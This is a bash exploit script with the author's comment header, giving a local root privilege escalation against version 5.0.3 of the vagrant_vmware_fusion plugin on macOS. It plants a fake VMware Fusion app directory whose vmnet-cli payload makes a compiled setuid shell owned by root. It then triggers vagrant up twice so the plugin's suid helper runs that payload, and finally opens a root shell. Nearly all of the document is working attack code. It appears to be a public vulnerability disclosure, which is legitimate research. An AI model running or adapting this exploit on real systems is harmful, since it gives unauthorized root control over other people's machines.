161 lines
No EOL
4.3 KiB
Bash
Executable file
161 lines
No EOL
4.3 KiB
Bash
Executable file
# Another day, another root privesc bug in this plugin. Not quite so serious this
|
|
# time - this one is only exploitable if the user has the plugin installed but
|
|
# VMware Fusion *not* installed. This is a fairly unlikely scenario but it's a
|
|
# straight to root privesc with no user interaction so isn't the kind of thing
|
|
# that should be shipping with any software.
|
|
|
|
# This occurs because the suid root sudo helper that I have discussed in previous
|
|
# exploit writeups executes /Applications/VMware
|
|
# Fusion.app/Contents/Library/vmnet-cli
|
|
# as root, but if the application isn't installed and we're a local admin user we
|
|
# can create a fake app directory with a payload in place of vmnet-cli that gets
|
|
# executed as root.
|
|
|
|
# HashiCorp fixed this (very quickly) in 5.0.4.
|
|
|
|
# https://m4.rkw.io/vagrant_vmware_privesc_5.0.3.sh.txt
|
|
# 3c11083386b3f7352d60b327190eed4364383c0622351db5410d809f4bda746a
|
|
# ------------------------------------------------------------------------------
|
|
#!/bin/bash
|
|
echo
|
|
echo "#########################################################"
|
|
echo "# vagrant_vmware_fusion plugin 5.0.3 local root privesc #"
|
|
echo "# by m4rkw - https://m4.rkw.io/blog.html #";
|
|
echo "#########################################################"
|
|
echo "# Note: only works when VMWare Fusion is not installed. #"
|
|
echo "#########################################################"
|
|
echo
|
|
|
|
cleanup() {
|
|
exec 2> /dev/null
|
|
killall -9 vagrant 1>/dev/null 2>/dev/null
|
|
kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null
|
|
exec 2> /dev/tty
|
|
cd
|
|
rm -rf .vagrant_vmware_fusion_503_exp
|
|
rm -rf /Applications/VMware\ Fusion.app
|
|
}
|
|
|
|
if [ -e "/Applications/VMware Fusion.app" ] ; then
|
|
echo "Fusion is installed, not exploitable."
|
|
exit 1
|
|
fi
|
|
|
|
echo "setting up fake app directory..."
|
|
|
|
mkdir /Applications/VMware\ Fusion.app
|
|
if [ ! $? -eq 0 ] ; then
|
|
echo "Failed to create /Applications/VMware Fusion.app."
|
|
exit 1
|
|
fi
|
|
|
|
mkdir -p /Applications/VMware\ Fusion.app/Contents/Library/services
|
|
|
|
touch /Applications/VMware\ Fusion.app/Contents/Library/vmrun
|
|
touch /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services
|
|
chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmrun
|
|
chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services
|
|
|
|
cat > /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx <<EOF
|
|
#!/bin/bash
|
|
echo 1>&2
|
|
echo "VMware Fusion Information:" 1>&2
|
|
echo "VMware Fusion 10.0.1 build-6754183 Release" 1>&2
|
|
echo
|
|
EOF
|
|
|
|
chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx
|
|
|
|
cat > /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli <<EOF
|
|
#!/bin/bash
|
|
chown root:wheel /tmp/vvp_503
|
|
chmod 4755 /tmp/vvp_503
|
|
EOF
|
|
|
|
chmod 755 /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli
|
|
|
|
echo "compiling payload..."
|
|
|
|
cat > /tmp/vvp_503.c <<EOF
|
|
#include <unistd.h>
|
|
int main()
|
|
{
|
|
setuid(0);
|
|
seteuid(0);
|
|
execl("/bin/bash","bash","-c","rm -f /tmp/vvp_503; /bin/bash",NULL);
|
|
return 0;
|
|
}
|
|
EOF
|
|
gcc -o /tmp/vvp_503 /tmp/vvp_503.c
|
|
rm -f /tmp/vvp_503.c
|
|
|
|
cd
|
|
mkdir .vagrant_vmware_fusion_503_exp
|
|
cd .vagrant_vmware_fusion_503_exp
|
|
|
|
echo "writing dummy vagrantfile ..."
|
|
|
|
cat > vagrantfile <<EOF
|
|
Vagrant.configure('2') do |config|
|
|
config.vm.box = 'envimation/ubuntu-xenial'
|
|
end
|
|
EOF
|
|
|
|
echo "triggering vagrant up [stage 1]..."
|
|
|
|
vagrant up &>/dev/null &
|
|
|
|
while :
|
|
do
|
|
r=`ps auxwww |grep 'vagrant up' |grep -v grep`
|
|
if [ "$r" == "" ] ; then
|
|
break
|
|
fi
|
|
sleep 0.5
|
|
done
|
|
|
|
echo "dropping dummy machine..."
|
|
|
|
uuid=`ls -1 .vagrant/machines/default/vmware_fusion |grep -v vagrant_cwd`
|
|
touch .vagrant/machines/default/vmware_fusion/$uuid/ubuntu-xenial-vmware-fusion.vmx
|
|
echo -n "`pwd`/.vagrant/machines/default/vmware_fusion/$uuid/ubuntu-xenial-vmware-fusion.vmx" > .vagrant/machines/default/vmware_fusion/id
|
|
|
|
echo "triggering vagrant up [stage 2]..."
|
|
|
|
vagrant up &>/dev/null &
|
|
|
|
echo "waiting for payload to trigger ..."
|
|
|
|
count=0
|
|
success=0
|
|
|
|
while :
|
|
do
|
|
r=`ls -la /tmp/vvp_503 |grep -- '-rwsr-xr-x 1 root wheel'`
|
|
if [ "$r" != "" ] ; then
|
|
success=1
|
|
break
|
|
fi
|
|
r=`ps auxwww |grep 'vagrant up' |grep -v grep`
|
|
if [ "$r" == "" ] ; then
|
|
break
|
|
fi
|
|
sleep 0.2
|
|
count=$(($count + 1))
|
|
if [ $count -eq 250 ] ; then
|
|
echo "Timed out waiting for the payload to trigger."
|
|
cleanup
|
|
exit 1
|
|
fi
|
|
done
|
|
|
|
cleanup
|
|
|
|
if [ ! $success -eq 1 ] ; then
|
|
echo "exploit failed."
|
|
exit 1
|
|
fi
|
|
|
|
echo
|
|
cd
|
|
/tmp/vvp_503 |